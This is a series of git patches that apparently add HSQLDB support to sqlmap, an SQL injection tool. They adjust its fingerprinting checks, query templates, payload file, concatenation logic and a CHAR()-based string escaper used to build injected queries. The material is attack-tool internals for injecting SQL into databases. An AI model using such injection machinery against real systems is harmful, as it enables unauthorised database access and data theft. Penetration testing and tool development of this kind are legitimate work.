550693032ba13f9e50f73ee9e35e1551f091b019 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 15:03:08 +0100 Subject: [PATCH 08/16] Remote whitespace in databases.py --- plugins/generic/databases.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 8c8c501be..57f93b203 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -522,7 +522,7 @@ class Databases: query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % tbl - + values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): From 55a37183d4ad19ea07b061c1dd19c2b1d1fddf85 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 15:04:52 +0100 Subject: [PATCH 09/16] Cleanup payloads file --- xml/payloads.xml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index b8f731681..b494ce843 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -1125,6 +1125,7 @@ Formats: PostgreSQL + @@ -1991,7 +1992,6 @@ Formats: Firebird - @@ -3678,7 +3678,7 @@ Formats: - + MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) 3 From a393b1751396f94100e5027e1fd01a960a393d36 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 15:12:37 +0100 Subject: [PATCH 10/16] modify fingerprint value --- plugins/dbms/hsql/fingerprint.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/hsql/fingerprint.py b/plugins/dbms/hsql/fingerprint.py index d3c9ee9a4..9bb0eb11c 100644 --- a/plugins/dbms/hsql/fingerprint.py +++ b/plugins/dbms/hsql/fingerprint.py @@ -130,7 +130,7 @@ class Fingerprint(GenericFingerprint): Backend.setVersion("= %s" % banner) else: if inject.checkBooleanExpression("(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"): - Backend.setVersionList([">= 2.0.0", "< 3.0"]) + Backend.setVersionList([">= 2.0.0", "< 2.3.0"]) else: banner = unArrayizeValue(inject.getValue("\"org.hsqldb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True)) if banner: From ed40a76c9d120ce2486d8d994abfb3d0aec94985 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 23:18:47 +0100 Subject: [PATCH 11/16] Fix dummy table --- lib/core/dicts.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index cadc1d8a4..f072e676b 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -147,7 +147,7 @@ FROM_DUMMY_TABLE = { DBMS.FIREBIRD: " FROM RDB$DATABASE", DBMS.MAXDB: " FROM VERSIONS", DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", - DBMS.HSQL: " FROM INFORMATION_SYSTEM.SYSTEM_USERS" + DBMS.HSQL: " FROM INFORMATION_SCHEMA.SYSTEM_USERS" } SQL_STATEMENTS = { From 09e1dc814da2534080093bdf6b96305a16d9d0a9 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 23:20:34 +0100 Subject: [PATCH 12/16] Fix concat --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index b46749810..d3d9f3e07 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -525,7 +525,7 @@ class Agent(object): else: return query - if Backend.isDbms(DBMS.MYSQL): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.HSQL): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop From 604694c0e5d6ce6c1b8f87eb0d43957763ea5fcc Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 23:22:52 +0100 Subject: [PATCH 13/16] Cleanup queries.xml --- xml/queries.xml | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/xml/queries.xml b/xml/queries.xml index 5039d1b22..2be5a2049 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -650,7 +650,7 @@ - + @@ -661,10 +661,7 @@ - - - - + From 5b6c01d739e3158c1a109a04580319e6811866fd Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 23:41:45 +0100 Subject: [PATCH 14/16] Escaper --- plugins/dbms/hsql/syntax.py | 14 +------------- 1 file changed, 1 insertion(+), 13 deletions(-) diff --git a/plugins/dbms/hsql/syntax.py b/plugins/dbms/hsql/syntax.py index 650869f82..0e02dc908 100644 --- a/plugins/dbms/hsql/syntax.py +++ b/plugins/dbms/hsql/syntax.py @@ -16,18 +16,6 @@ class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): - """ - TODO: Unsure of a method to escape. Perhaps RAWTOHEX/HEXTORAW functions? - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT 'abcdefgh' FROM foobar' - """ - def escaper(value): - retVal = None - try: - retVal = "'%s'" % value - except UnicodeEncodeError: - retVal = "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(value)) + retVal = "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value))) return retVal - - return Syntax._escape(expression, quote, escaper) From 4595b2c2871f699c311793e13b783ed174b21a5c Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 23:45:39 +0100 Subject: [PATCH 15/16] decodeHexValue --- lib/core/common.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index ae24980b4..6ef578fb5 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3448,7 +3448,11 @@ def decodeHexValue(value): retVal = retVal.decode("utf-16-le") except UnicodeDecodeError: pass - + elif Backend.isDbms(DBMS.HSQL): + try: + retVal = retVal.decode("utf-16-be") + except UnicodeDecodeError: + pass if not isinstance(retVal, unicode): retVal = getUnicode(retVal, "utf8") From eb2012c599373cf4685d609b8e2d24757abf78bc Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 23:50:33 +0100 Subject: [PATCH 16/16] Fix escaper --- plugins/dbms/hsql/syntax.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/plugins/dbms/hsql/syntax.py b/plugins/dbms/hsql/syntax.py index 0e02dc908..1d0eefcb3 100644 --- a/plugins/dbms/hsql/syntax.py +++ b/plugins/dbms/hsql/syntax.py @@ -16,6 +16,11 @@ class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") + 'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar' + """ def escaper(value): - retVal = "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value))) - return retVal + return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value))) + + return Syntax._escape(expression, quote, escaper)